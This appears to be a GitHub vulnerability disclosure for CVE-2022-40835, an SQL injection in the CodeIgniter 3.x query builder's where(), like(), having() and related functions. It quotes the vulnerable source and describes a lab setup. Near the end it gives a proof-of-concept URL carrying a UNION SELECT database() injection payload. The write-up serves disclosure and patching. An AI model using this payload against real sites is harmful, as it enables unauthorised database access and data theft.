Headline
CVE-2022-40835: CodeIgniter3.1.13-SQL-Inject/README.md at main · 726232111/CodeIgniter3.1.13-SQL-Inject
B.C. Institute of Technology CodeIgniter <=3.1.13 is vulnerable to SQL Injection via system\database\DB_query_builder.php.
Multiple functions of CodeIgniter have SQL injection****Vulnerability Type :
SQL Injection
Vulnerability Version :
3.0rc <= CodeIgniter <= 3.1.13
Recurring environment:
- Windows 10
- PHP 7.3.4
- Apache 2.4.39
Vulnerability Details
CodeIgniter is an Application Development Framework - a toolkit - for people who build web sites using PHP.
SQL injection exists for multiple functions in CodeIgniter, and the versions involved are 3.0rc to 3.1.13
The functions involved are where()、or_where()、having()、or_having()、where_in()、or_where_in()、where_not_in()、or_where_not_in()、like()、or_like()、not_like() and or_not_like().
The functions listed above do not filter the query fields. If the developer obtains the query fields from the client, the attacker can modify the query fields and trigger SQL injection.
Describe
File:
system\database\DB_query_builder.php
Core Functions:
protected function _wh($qb_key, $key, $value = NULL, $type = 'AND ', $escape = NULL) //662
protected function _where_in($key = NULL, $values = NULL, $not = FALSE, $type = 'AND ', $escape = NULL) //804
protected function _like($field, $match = '', $type = 'AND ', $side = 'both', $not = '', $escape = NULL) //947
_wh() Explain
//The following section provides the complete function code.
${$qb_key} = array('condition' => $prefix.$k, 'value' => $v, 'escape' => $escape);
_wh() does not filter $k before splicing $prefix and $k. If we can control $k, SQL injection will be triggered.
_where_in() and _like() have the same situation.
Public Funtions
Although _wh()、where_in() and _like() are protected, but CodeIgniter provides some public functions.
_wh()
where()
or_where()
having()
or_having()
_where_in()
where_in()
or_where_in()
where_not_in()
or_where_not_in()
_like()
like()
or_like()
not_like()
or_not_like()
protected function _wh($qb_key, $key, $value = NULL, $type = 'AND ', $escape = NULL) { $qb_cache_key = ($qb_key === ‘qb_having’) ? ‘qb_cache_having’ : 'qb_cache_where’; if ( ! is_array($key)) { $key = array($key => $value); } // If the escape value was not set will base it on the global setting is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($key as $k => $v) { $prefix = (count($this->$qb_key) === 0 && count($this->$qb_cache_key) === 0) ? $this->_group_get_type(‘’) : $this->_group_get_type($type); if ($v !== NULL) { if ($escape === TRUE) { $v = $this->escape($v); } if ( ! $this->_has_operator($k)) { $k .= ' = ‘; } } elseif ( ! $this->_has_operator($k)) { // value appears not to have been set, assign the test to IS NULL $k .= ' IS NULL’; } elseif (preg_match(‘/\s*(!?=|<>|\sIS(?:\s+NOT)?\s)\s*$/i’, $k, $match, PREG_OFFSET_CAPTURE)) { $k = substr($k, 0, $match[0][1]).($match[1][0] === ‘=’ ? ' IS NULL’ : ' IS NOT NULL’); } ${$qb_key} = array(‘condition’ => $prefix.$k, ‘value’ => $v, ‘escape’ => $escape); $this->{$qb_key}[] = ${$qb_key}; if ($this->qb_caching === TRUE) { $this->{$qb_cache_key}[] = ${$qb_key}; $this->qb_cache_exists[] = substr($qb_key, 3); } } return $this; }
Verification(3.1.13)
Code Download
https://github.com/bcit-ci/CodeIgniter/releases/tag/3.1.13
Apache needs to add the following in .htaccess
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]
</IfModule>
Environment Construction
The detailed process is omitted, and the final result is as follows.
File Modification
1. Edit database configuration file application\config\database.php.
As a test, I used the information schema of mysql system database 'information-schema'.
2. Download the Sql.php file and move it to the application\controllers\ folder.
Sql.php uses data table 'engines'.
Try SQL Injection
1. Normal access
Query with the field 'ENGINE'.
Because the query conditions are different, the results are displayed differently.
http://192.168.37.129:8080/sql/index?val=*&field=ENGINE
2.Malicious access
SQL injection through fields.
The 12 functions above all display the database name.
SQL injection will occur when careless developers use fields sent by the front end.
http://192.168.37.129:8080/sql/index?val=*&field=ENGINE like '*' union select database(),2,3,4,5,6 -- -
Verification(3.0rc)
Verification(3.1.1)